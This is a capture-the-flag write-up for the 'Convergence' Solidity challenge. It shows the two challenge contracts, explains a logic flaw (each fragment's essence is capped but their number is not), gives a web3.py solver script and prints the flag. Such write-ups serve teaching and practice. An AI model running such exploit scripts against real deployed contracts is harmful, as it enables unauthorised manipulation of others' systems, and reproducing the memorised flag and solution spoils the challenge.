Convergence

description
Author: chovid99
Convergence.... Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-convergence
Attachments
Challenge.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface ISetup {
function chronicles(bytes32) external view returns (bool);
}
struct SoulFragment {
address vessel;
uint256 essence;
bytes resonance;
}
contract Challenge {
ISetup public setup;
address public ascended;
mapping(address => bool) public seekers;
mapping(address => uint256) public seekerSince;
mapping(address => uint256) public destinyPower;
mapping(address => uint256) public soulEssence;
mapping(address => uint256) public convergencePoints;
mapping(bytes32 => bool) public consumed;
uint256 public constant TRANSCENDENCE_ESSENCE = 1000 ether;
uint256 public constant CONVERGENCE_REQUIREMENT = 100;
event SeekerRegistered(address indexed seeker, uint256 timestamp);
event DestinyOffered(address indexed seeker, uint256 power);
event SoulsHarvested(address indexed seeker, uint256 essence);
event ConvergenceAchieved(address indexed seeker, uint256 points);
event Transcended(address indexed ascended);
constructor(address _setup) {
setup = ISetup(_setup);
}
function registerSeeker() external {
require(!seekers[msg.sender], "Already a seeker");
seekers[msg.sender] = true;
seekerSince[msg.sender] = block.timestamp;
emit SeekerRegistered(msg.sender, block.timestamp);
}
function offerDestiny(bytes calldata manifestation) external {
require(seekers[msg.sender], "Not a seeker");
bytes32 seal = keccak256(abi.encodePacked(msg.sender, manifestation));
require(setup.chronicles(seal), "Manifestation not chronicled");
require(!consumed[seal], "Chronicle already consumed");
consumed[seal] = true;
(
bytes[] memory threads,
,
uint256[][] memory weights
) = abi.decode(manifestation, (bytes[], bytes[], uint256[][]));
uint256 power;
for (uint i = 0; i < threads.length; i++) {
power += threads[i].length * 1e15;
}
for (uint i = 0; i < weights.length; i++) {
for (uint j = 0; j < weights[i].length; j++) {
power += weights[i][j];
}
}
destinyPower[msg.sender] += power;
emit DestinyOffered(msg.sender, power);
}
function harvestSouls(bytes calldata agreement) external {
require(seekers[msg.sender], "Not a seeker");
bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
require(setup.chronicles(seal), "Agreement not chronicled");
require(!consumed[seal], "Chronicle already consumed");
consumed[seal] = true;
(
SoulFragment[] memory fragments,
,
,
address binder,
) = abi.decode(agreement, (SoulFragment[], bytes32, uint32, address, address));
require(binder == msg.sender, "Not the binder");
uint256 essence;
for (uint i = 0; i < fragments.length; i++) {
essence += fragments[i].essence;
}
soulEssence[msg.sender] += essence;
emit SoulsHarvested(msg.sender, essence);
}
function achieveConvergence(bytes calldata destinyData, bytes calldata soulData) external {
require(seekers[msg.sender], "Not a seeker");
bytes32 destinySeal = keccak256(abi.encodePacked(msg.sender, destinyData));
bytes32 soulSeal = keccak256(abi.encodePacked(msg.sender, soulData));
require(setup.chronicles(destinySeal), "Destiny not chronicled");
require(setup.chronicles(soulSeal), "Soul pact not chronicled");
require(!consumed[destinySeal], "Destiny already consumed");
require(!consumed[soulSeal], "Soul pact already consumed");
consumed[destinySeal] = true;
consumed[soulSeal] = true;
(
bytes[] memory threads,
bytes[] memory anchors,
) = abi.decode(destinyData, (bytes[], bytes[], uint256[][]));
(
SoulFragment[] memory fragments,
,
,
address binder,
) = abi.decode(soulData, (SoulFragment[], bytes32, uint32, address, address));
require(binder == msg.sender, "Not the binder");
uint256 points = threads.length * anchors.length * fragments.length;
convergencePoints[msg.sender] += points;
emit ConvergenceAchieved(msg.sender, points);
}
function transcend(bytes calldata truth) external {
require(seekers[msg.sender], "Not a seeker");
require(ascended == address(0), "Another has already ascended");
bytes32 seal = keccak256(abi.encodePacked(msg.sender, truth));
require(setup.chronicles(seal), "Truth not chronicled");
(
SoulFragment[] memory fragments,
,
,
address invoker,
address witness
) = abi.decode(truth, (SoulFragment[], bytes32, uint32, address, address));
require(invoker == msg.sender, "You are not the invoker");
uint256 totalEssence;
for (uint i = 0; i < fragments.length; i++) {
totalEssence += fragments[i].essence;
}
require(totalEssence >= TRANSCENDENCE_ESSENCE, "Insufficient essence in truth");
require(witness == msg.sender, "The witness must be yourself");
ascended = msg.sender;
emit Transcended(msg.sender);
}
function getPowerLevels(address seeker) external view returns (
uint256 destiny,
uint256 soul,
uint256 convergence
) {
return (destinyPower[seeker], soulEssence[seeker], convergencePoints[seeker]);
}
}Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Challenge.sol";
contract Setup {
Challenge public challenge;
mapping(bytes32 => bool) public chronicles;
constructor() {
challenge = new Challenge(address(this));
}
function sealDestiny(bytes calldata manifestation) external {
(
bytes[] memory threads,
bytes[] memory anchors,
uint256[][] memory weights
) = abi.decode(manifestation, (bytes[], bytes[], uint256[][]));
require(threads.length >= 1, "Destiny requires threads");
require(anchors.length >= 1, "Destiny requires anchors");
require(weights.length >= 1, "Destiny requires weights");
for (uint i = 0; i < threads.length; i++) {
require(threads[i].length > 0, "Empty thread detected");
}
for (uint i = 0; i < anchors.length; i++) {
require(anchors[i].length > 0, "Empty anchor detected");
}
for (uint i = 0; i < weights.length; i++) {
require(weights[i].length > 0, "Empty weight array detected");
}
bytes32 seal = keccak256(abi.encodePacked(msg.sender, manifestation));
require(!chronicles[seal], "Already chronicled");
chronicles[seal] = true;
}
function bindPact(bytes calldata agreement) external {
(
SoulFragment[] memory fragments,
,
,
address binder,
address witness
) = abi.decode(agreement, (SoulFragment[], bytes32, uint32, address, address));
require(fragments.length >= 1, "Pact requires soul fragments");
require(binder != address(0), "Invalid binder");
require(witness != address(0), "Invalid witness");
for (uint i = 0; i < fragments.length; i++) {
require(fragments[i].vessel != address(0), "Invalid vessel in fragment");
require(fragments[i].essence <= 100 ether, "Essence too powerful for pact");
}
bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
require(!chronicles[seal], "Already chronicled");
chronicles[seal] = true;
}
function isSolved() external view returns (bool) {
return challenge.ascended() != address(0);
}
}Overview
This challenge is an Ethereum smart contract blockchain challenge that requires the attacker to reach the ascended state by creating a valid "truth".
There are two main contracts:
Setup.solChallenge.sol
The main objective of this challenge is to make the Challenge contract set:
ascended = msg.sender;However, to reach this state, several strict validations must be satisfied.
The core concept of this challenge uses a system involving:
- SoulFragments
- Pact binding
- Chronicle verification
- Essence accumulation
Conceptually, we must:
- Create an agreement containing SoulFragments
- Register it via
Setup.bindPact() - Use the same agreement to call
Challenge.transcend() - If all validations pass, our address will become
ascended
The challenge provides two main smart contracts:
Setup.solChallenge.sol
Here, I used AI to analyze the source code of both contracts.
Both contracts use a chronicles system, which is a mapping of hashes from sealed data.
Example from Setup.bindPact():
bytes32 seal = keccak256(abi.encodePacked(msg.sender, agreement));
chronicles[seal] = true;This means every valid agreement will be recorded based on the hash of the sender and the agreement data.
Important fragment validation:
require(fragments[i].essence <= 100 ether);This limits the maximum essence per fragment.
In Challenge.sol, the most important function is:
function transcend(bytes calldata truth) externalMain validation:
require(setup.chronicles(seal));
require(totalEssence >= TRANSCENDENCE_ESSENCE);Where:
TRANSCENDENCE_ESSENCE = 1000 etherIf all validations pass:
ascended = msg.sender;AI-assisted output

Smart Contract Analysis
Setup.sol
Important function:
function bindPact(bytes calldata agreement) externalThis function:
- Decodes the agreement into SoulFragments
- Validates each fragment
- If valid, stores the chronicle
chronicles[keccak256(abi.encodePacked(msg.sender, agreement))] = true;This means the contract records that the sender has created a valid pact.
Important validations:
require(fragment.vessel != address(0));
require(fragment.essence <= 100 ether);
require(binder != address(0));
require(witness != address(0));The most important limitation:
essence maximum per fragment = 100 etherChallenge.sol
Main exploit function:
function transcend(bytes calldata truth) externalValidations performed:
1. Chronicle must already be registered
require(
setup.chronicles(
keccak256(abi.encodePacked(msg.sender, truth))
)
);This means the truth MUST be exactly identical to the agreement previously registered via bindPact.
Even a slight difference will cause failure.
2. Invoker and Witness must match msg.sender
require(invoker == msg.sender);
require(witness == msg.sender);This means we must set both fields to the attacker address.
3. Total essence must be ≥ 1000 ether
require(totalEssence >= 1000 ether);This is the main requirement for ascension.
Root Cause Vulnerability
There is a limitation:
essence per fragment ≤ 100 etherHowever, the total required is:
≥ 1000 etherThis means we cannot use only one fragment.
However, the contract DOES NOT limit the number of fragments.
Therefore, we can use:
10 fragmentsEach containing:
100 etherTotal:
10 × 100 ether = 1000 etherThe validation will pass.
This is a logic flaw, not an overflow or cryptographic bug.
Truth Structure
ABI encode format:
(
SoulFragment[] fragments,
bytes32 seal,
uint32 epoch,
address invoker,
address witness
)Fragment structure:
struct SoulFragment {
address vessel;
uint essence;
bytes resonance;
}We must create:
- fragments = array of 10 fragments
- vessel = attacker address
- essence = 100 ether
- resonance = empty
- invoker = attacker
- witness = attacker
Exploitation Steps
Step 0 — Access RPC Node
- open 'http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-convergence'
- copy the port and open the URL with that port 'http://challenges.1pc.tf:42700/'
- then complete the pwn.red PoW challenge first by using
solve in browseror copying the curl command to the terminal - the PoW result will be used to verify the challenge solution, then paste it into the solution field
- after verification, launch the instance. RPC credentials will be displayed
Step 1 — Register as Seeker
Call:
challenge.registerSeeker();This registers our address as a seeker.
Step 2 — Create SoulFragments
Create an array containing 10 fragments:
fragment = {
vessel: attacker address
essence: 100 ether
resonance: 0x
}Total essence:
1000 etherStep 3 — Encode Truth
Encode using ABI encode:
truth = abi.encode(
fragments,
bytes32(0),
uint32(0),
attacker,
attacker
);Step 4 — Bind Pact
Call:
setup.bindPact(truth);This stores:
chronicles[keccak256(msg.sender, truth)] = true;Step 5 — Transcend
Use the same truth:
challenge.transcend(truth);All validations will pass.
The contract will execute:
ascended = msg.sender;Challenge solved.
Exploit Script (solver.py)
Here is the exploit script used to solve the challenge using solver.py:
from web3 import Web3
from eth_abi import encode
RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)
setup_abi = [
{"inputs":[],"name":"challenge","outputs":[{"type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[{"name":"agreement","type":"bytes"}],"name":"bindPact","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"isSolved","outputs":[{"type":"bool"}],"stateMutability":"view","type":"function"}
]
challenge_abi = [
{"inputs":[],"name":"registerSeeker","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"name":"truth","type":"bytes"}],"name":"transcend","outputs":[],"stateMutability":"nonpayable","type":"function"}
]
setup = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
challenge_addr = setup.functions.challenge().call()
challenge = w3.eth.contract(address=challenge_addr, abi=challenge_abi)
def send_tx(tx):
transaction = tx.build_transaction({
"from": account.address,
"nonce": w3.eth.get_transaction_count(account.address),
"gasPrice": w3.eth.gas_price
})
signed = w3.eth.account.sign_transaction(transaction, PRIVKEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
return w3.eth.wait_for_transaction_receipt(tx_hash)
# Step 1 — Register seeker
print("[*] Registering seeker...")
send_tx(challenge.functions.registerSeeker())
# Step 2 — Buat 10 fragments
print("[*] Preparing fragments...")
fragments = []
for _ in range(10):
fragments.append((account.address, w3.to_wei(100, "ether"), b""))
# Step 3 — Encode truth
print("[*] Encoding truth...")
truth = encode(
['(address,uint256,bytes)[]', 'bytes32', 'uint32', 'address', 'address'],
[fragments, b'\x00'*32, 0, account.address, account.address]
)
# Step 4 — Bind pact
print("[*] Binding pact...")
send_tx(setup.functions.bindPact(truth))
# Step 5 — Transcend
print("[*] Transcending...")
send_tx(challenge.functions.transcend(truth))
# Step 6 — Check solve
if setup.functions.isSolved().call():
print("Challenge solved")python3 solver.py

This script does the following:
- Register as a seeker
- Create 10 fragments
- Encode truth
- Bind pact
- Transcend
- Verify solve
Why the exploit works
Because:
- There is no limit to the number of fragments
- There is only a limit per fragment
- The Chronicle only verifies the hash agreement
- We can reuse the same agreement
This way, we can meet the total essence requirement.
After that, we can get the flag in the blockchain launcher.

Flag
C2C{the_convergence_chall_is_basically_bibibibi}